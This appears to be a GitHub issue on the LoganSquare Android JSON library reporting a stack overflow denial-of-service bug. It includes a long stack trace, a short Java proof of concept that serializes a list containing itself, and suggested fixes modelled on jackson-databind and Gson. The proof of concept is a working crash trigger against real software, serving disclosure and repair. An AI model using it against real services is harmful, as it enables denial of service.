bluelinelabs / LoganSquare

Screaming fast JSON parsing and serialization library for Android.
Apache License 2.0
3.21k stars 306 forks source link

Stack overflow error caused by logansquare serialization List #239

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by logansquare serialization List

Description

logansquare before v1.3.7 was discovered to contain a stack overflow via the List parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator._verifyValueWrite(WriterBasedJsonGenerator.java:939)
    at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator.writeStartArray(WriterBasedJsonGenerator.java:252)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:267)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.ListMapper.serialize(ListMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:63)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:270)

PoC

        <dependency>
            <groupId>com.bluelinelabs</groupId>
            <artifactId>logansquare</artifactId>
            <version>1.3.7</version>
        </dependency>
import com.bluelinelabs.logansquare.LoganSquare;

import java.io.IOException;
import java.util.ArrayList;

public class PoC3 {

    public static void main(String[] args) {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        try {
            LoganSquare.serialize(list);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))

References

  1. https://github.com/jettison-json/jettison/issues/52
  2. https://github.com/jettison-json/jettison/pull/53/files
NBXXF commented 11 months ago

you can use https://github.com/NBXXF/gson_plugin